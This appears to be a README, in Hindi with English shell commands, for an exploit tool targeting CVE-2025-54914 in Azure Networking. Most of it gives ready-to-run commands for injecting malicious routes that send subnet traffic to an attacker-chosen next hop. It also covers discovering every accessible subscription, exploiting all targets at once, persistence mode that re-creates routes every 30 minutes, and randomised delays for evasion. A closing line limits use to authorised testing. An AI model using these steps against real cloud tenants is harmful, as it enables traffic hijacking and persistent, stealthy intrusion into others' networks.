
CVE-2025-54914 के लिए Azure Networking में शोषण, जो दुर्भावनापूर्ण रूट बनाता है, जिसमें चोरी-छिपे रहना, स्थिरता, बहु-लक्ष्य स्कैनिंग, और अधिकृत सुरक्षा परीक्षण के लिए रिपोर्टिंग शामिल है।
यह CVE-2025-54914 Azure नेटवर्किंग रूट एक्सप्लॉइट का एक बेहतर कार्यान्वयन है। यह संस्करण मुख्य CVE कार्यक्षमता को बनाए रखता है और साथ ही स्थायित्व, चोरी, बहु-लक्ष्य स्कैनिंग, और त्रुटि प्रबंधन जैसी अतिरिक्त सुविधाएँ जोड़ता है।
# Install Python dependencies
pip install requests
# Install Azure CLI (for authentication)
curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash
# Make scripts executable
chmod +x exploit.py
chmod +x exploit_utils.py
# Authenticate with Azure
az login
# Create route on single target
python exploit.py \
--subscription-id "12345678-1234-1234-1234-123456789012" \
--resource-group "production-rg" \
--vnet-name "prod-vnet" \
--subnet-name "prod-subnet" \
--address-prefix "10.0.1.0/24" \
--next-hop-ip "10.0.2.5"
# Delete route
python exploit.py \
--subscription-id "12345678-1234-1234-1234-123456789012" \
--resource-group "production-rg" \
--vnet-name "prod-vnet" \
--subnet-name "prod-subnet" \
--route-name "exploit-route-1" \
--operation delete
# Create configuration file
python exploit_utils.py discover --output targets.json
# Exploit all targets
python exploit.py --targets-file targets.json --operation create
# Scan targets without exploitation
python exploit.py --targets-file targets.json --scan-only
# Enable persistence with 30-minute intervals
python exploit.py --targets-file targets.json --persistence-mode --interval 30
# Custom delay ranges for evasion
python exploit.py \
--targets-file targets.json \
--delay-min 1.0 \
--delay-max 5.0 \
--max-workers 5
# Test without actual exploitation
python exploit.py --targets-file targets.json --dry-run
# Enable debug logging
python exploit.py \
--targets-file targets.json \
--log-level DEBUG \
--log-file exploit.log
{
"targets": [
{
"subscription_id": "12345678-1234-1234-1234-123456789012",
"resource_group": "production-rg",
"vnet_name": "prod-vnet",
"subnet_name": "prod-subnet",
"route_name": "exploit-route-1",
"address_prefix": "10.0.1.0/24",
"next_hop_type": "VirtualAppliance",
"next_hop_ip": "10.0.2.5",
"api_version": "2025-09-01",
"priority": 1
}
],
"metadata": {
"description": "Target configuration for CVE-2025-54914",
"created": "2025-01-09",
"version": "1.0"
}
}
# Azure access token (alternative to Azure CLI)
export AZURE_ACCESS_TOKEN="your_token_here"
# Log level
export LOG_LEVEL="INFO"
# Discover all accessible targets
python exploit_utils.py discover --output discovered_targets.json
# Discover specific subscriptions
python exploit_utils.py discover \
--subscription-ids "sub1" "sub2" \
--output targets.json \
--report discovery_report.txt
# Generate exploit configuration from discovered targets
python exploit_utils.py config \
--input discovered_targets.json \
--output exploit_config.json \
--address-prefix "10.0.1.0/24" \
--next-hop-ip "10.0.2.5"
# Analyze targets for risk assessment
python exploit_utils.py analyze \
--input targets.json \
--output vulnerability_report.txt
--dry-run के साथ परीक्षण करें--max-workers समायोजित करें# Re-authenticate with Azure
az login
# Check current account
az account show
# List accessible subscriptions
az account list
# Check required permissions
az role assignment list --assignee $(az account show --query user.name -o tsv)
# Test connectivity
curl -I https://management.azure.com
# Check proxy settings
echo $HTTP_PROXY
echo $HTTPS_PROXY
# Enable detailed logging
python exploit.py --log-level DEBUG --log-file debug.log
# Check log file
tail -f debug.log
⚠️ महत्वपूर्ण: यह उपकरण केवल अधिकृत सुरक्षा परीक्षण के लिए है।
यह परियोजना केवल अनुसंधान और शैक्षिक उपयोग के लिए लाइसेंस प्राप्त है। व्यावसायिक उपयोग के लिए स्पष्ट अनुमति आवश्यक है।
समस्याओं और प्रश्नों के लिए: